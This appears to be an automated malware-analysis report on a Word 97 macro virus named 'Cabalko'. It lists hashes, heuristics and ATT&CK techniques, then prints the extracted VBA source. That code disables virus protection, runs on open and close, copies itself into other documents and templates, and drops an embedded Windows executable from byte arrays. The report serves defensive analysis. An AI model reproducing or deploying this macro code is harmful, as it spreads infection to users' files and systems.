Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3653fec519855f2e…

MALICIOUS

Office (OLE)

129.5 KB Created: 2001-02-23 08:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 49940f358032c286db7cc363a47e5cb2 SHA-1: 3572353df45de425229b8f5bbfa37a032df99ab3 SHA-256: 3653fec519855f2e3b09664f1623e03113424f2ee774ccac032d94c945b806d2
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and Auto_Close functions, indicating an attempt to automatically execute code upon opening and closing the document. The critical heuristic firing for Shell() call in VBA confirms that the macro attempts to execute arbitrary commands. The VBA code also appears to copy project items, suggesting an attempt to spread or install components. The presence of legacy WordBasic markers further supports the malicious nature.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69243 bytes
SHA-256: 6219fd5ab4a3e00ac8ce841308d410ec69d5ad4c00e075fdc494eb61fa913b00
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Cabalko"
'Cabalko Ind.(C)2000

Sub Autoexit()
sb
End Sub
Sub Autoexec()
sb
End Sub
Sub Autonew()
sb
End Sub
Sub AutoOpen()
sb
tj
End Sub
Sub Openshell()
sb
End Sub
Sub AutoClose()
sb
End Sub
Sub sb()
On Error Resume Next
txt = ""
Options.VirusProtection = False
ddorg = ThisDocument.FullName
Application.ScreenUpdating = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For A = 1 To Documents.Count
If Documents.Item(A).Path <> "" Then
dest = Documents.Item(A).FullName
SetAttr dest, vbNormal
Else
dest = Documents.Item(A).Name
End If
Application.OrganizerDelete Source:=dest, Name:="MxFile", Object:=wdOrganizerObjectProjectItems
Application.OrganizerDelete Source:=dest, Name:="Addfile", Object:=wdOrganizerObjectProjectItems
If ddorg <> dest Then
Application.OrganizerCopy Source:=ddorg, Destination:=dest, Name:="Cabalko", Object:=wdOrganizerObjectProjectItems
If Documents.Item(A).Path <> "" Then
Documents.Item(A).Save
End If
End If
dd = Documents.Item(A).AttachedTemplate
dd1 = Options.DefaultFilePath(Path:=wdUserTemplatesPath)
dd2 = dd1 + "\" + dd
SetAttr dd2, vbNormal
Application.OrganizerDelete Source:=dd2, Name:="MxFile", Object:=wdOrganizerObjectProjectItems
Application.OrganizerDelete Source:=dd2, Name:="Addfile", Object:=wdOrganizerObjectProjectItems
If ddorg <> dd2 Then
Application.OrganizerCopy Source:=ddorg, Destination:=dd2, Name:="Cabalko", Object:=wdOrganizerObjectProjectItems
End If
Next A
End Sub
Sub ci(ParamArray intScores() As Variant)
    Dim intI As Integer
    Dim b As Byte
    For intI = 0 To UBound(intScores())
        b = intScores(intI)
        Put #1, , b
    Next intI
End Sub
Sub step0()
ci 77, 90, 80, 0, 2, 0, 0, 0, 4, 0, 15, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 26, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
ci 0, 1, 0, 0, 186, 16, 0, 14, 31, 180, 9, 205, 33, 184, 1, 76, 205, 33, 144, 144, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 109, 117, 115, 116, 32, 98, 101, 32, 114, 117, 110, 32, 117, 110, 100, 101, 114, 32, 87, 105, 110, 51, 50, 13, 10, 36, 55
ci 0, 0, 0, 0, 8, 50, 208, 15, 254, 55, 90, 114, 19, 0, 86, 32, 140, 14, 67, 1, 121, 1, 90, 1, 187, 1, 103, 1, 121, 1, 90, 1, 187, 1, 103, 1, 0, 0, 0, 0, 188, 243, 104, 0, 217, 233, 78, 130, 13, 0, 11, 0, 66, 0, 70, 22, 214, 130, 0, 0
ci 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 182, 131, 100, 9, 95, 4, 150, 131, 103, 66, 0, 1, 230, 130, 103, 66, 0, 0, 0, 0, 84, 26, 207, 5, 68, 246, 207, 5, 4, 0, 236, 131, 103, 66, 101, 1, 132, 1, 246, 245, 118, 7, 207, 5, 0, 0, 118, 5, 210, 4
ci 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 76, 1, 3, 0, 25, 94, 66, 42, 0, 0, 0, 0, 0, 0, 0, 0, 224, 0, 143, 129, 11, 1, 2, 25, 0, 64, 0, 0, 0, 16, 0, 0, 0, 176, 0, 0, 16, 242, 0, 0
ci 0, 192, 0, 0, 0, 0, 1, 0, 0, 0, 64, 0, 0, 16, 0, 0, 0, 2, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 16, 1, 0, 0, 4, 0, 0, 0, 0, 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